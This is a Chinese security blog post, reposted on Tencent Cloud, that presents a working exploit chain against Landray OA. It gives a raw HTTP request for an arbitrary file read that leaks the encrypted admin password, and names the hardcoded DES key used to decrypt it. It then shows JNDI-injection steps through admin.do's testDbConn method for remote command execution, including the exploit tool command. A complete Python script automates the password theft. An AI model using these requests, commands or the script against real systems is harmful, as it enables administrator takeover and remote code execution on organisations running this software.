前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >蓝凌oa密码读取rce

蓝凌oa密码读取rce

作者头像
用户1467662
发布2021-06-16 15:46:53
2.9K0
发布2021-06-16 15:46:53
举报
文章被收录于专栏:农夫安全农夫安全

引言部分,美女开局,不BB

01 自行搭建环境

标题内容1

漏洞路径:

1. 文件读取

代码语言:javascript
复制
/sys/ui/extend/varkind/custom.jsp

2.rce

代码语言:javascript
复制
/admin.do

漏洞验证:

02

标题内容2

数据包:

代码语言:javascript
复制
POST //sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 192.168.1.88:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

var=%7B%22body%22%3A%7B%22file%22%3A%22%2FWEB-INF%2FKmssConfig%2Fadmin.properties%22%7D%7D
对秘密的密码进行解密得到明文密码

代码已集成在下面的脚本中

使用密码登录管理后台

代码语言:javascript
复制
http://192.168.1.88:8080/admin.do
下载利用工具
代码语言:javascript
复制
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
在服务器搭建漏洞利用工具进行监听
代码语言:javascript
复制
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping ldycd7.dnslog.cn" -A 192.168.1.1
发送利用数据包(带上登录后台的 cookie)
代码语言:javascript
复制
POST /admin.do HTTP/1.1
Host: xx.xx.xx.xx
Cookie: JSESSIONID=011EBEEDF3323F7CFFCB31BF42B48B53
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin: 
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

method=testDbConn&datasource=rmi://xx.xx.xx.xx:1099/xxxxx
成功执行命令

获取密文并解密脚本

代码语言:javascript
复制
import requests
import sys
import re
from Crypto.Cipher import DES
import base64
requests.packages.urllib3.disable_warnings()

proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}

class EncryptDate:
    def __init__(self, key):
        self.key = key
        self.length = DES.block_size
        self.aes = DES.new(self.key, DES.MODE_ECB)
        self.unpad = lambda date: date[0:-ord(date[-1])]

    def pad(self, text):
        count = len(text.encode('utf-8'))
        print(count)
        add = self.length - (count % self.length)
        print(add)
        entext = text + (chr(add) * add)
        print(entext)
        return entext

    def decrypt(self, decrData):  # 解密函数
        print('==========>>密文解密中')
        res = base64.decodebytes(decrData.encode("utf8"))
        msg = self.aes.decrypt(res).decode("utf8")
        print('==========>>解密成功admin的密码为:'+msg)

def Landraypass(url):
    urllist = url+'/sys/ui/extend/varkind/custom.jsp'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
                     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                     "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate",
                     "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1",
                     "Content-Type": "application/x-www-form-urlencoded"}
    data = {"var": "{\"body\":{\"file\":\"/WEB-INF/KmssConfig/admin.properties\"}}"}
    passlist = requests.post(urllist, headers=headers, proxies=proxy, data=data)
    print('==========>>正在抓取DES密文')
    passDes = re.findall('(?<=password = )(.*?)(?=\\\\r)',passlist.text,re.I)
    if len(passDes) == 0 :
        print('==========!!:抓取密码失败可进行手动测试确认')
    else:
        passDeslist = passDes[0]
        print('==========>>密文抓取成功:'+passDeslist)
        cr = EncryptDate(b'kmssAdmi')
        cr.decrypt(passDeslist)

if __name__ == '__main__':
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Landraypass(url)
    else:
        print("python3 Landraypass.py http://xx.xx.xx.xx")

文章作者: Li qun

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞路径:
  • 漏洞验证:
    • 对秘密的密码进行解密得到明文密码
    • 使用密码登录管理后台
      • 下载利用工具
        • 在服务器搭建漏洞利用工具进行监听
          • 发送利用数据包(带上登录后台的 cookie)
            • 成功执行命令
            • 获取密文并解密脚本
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档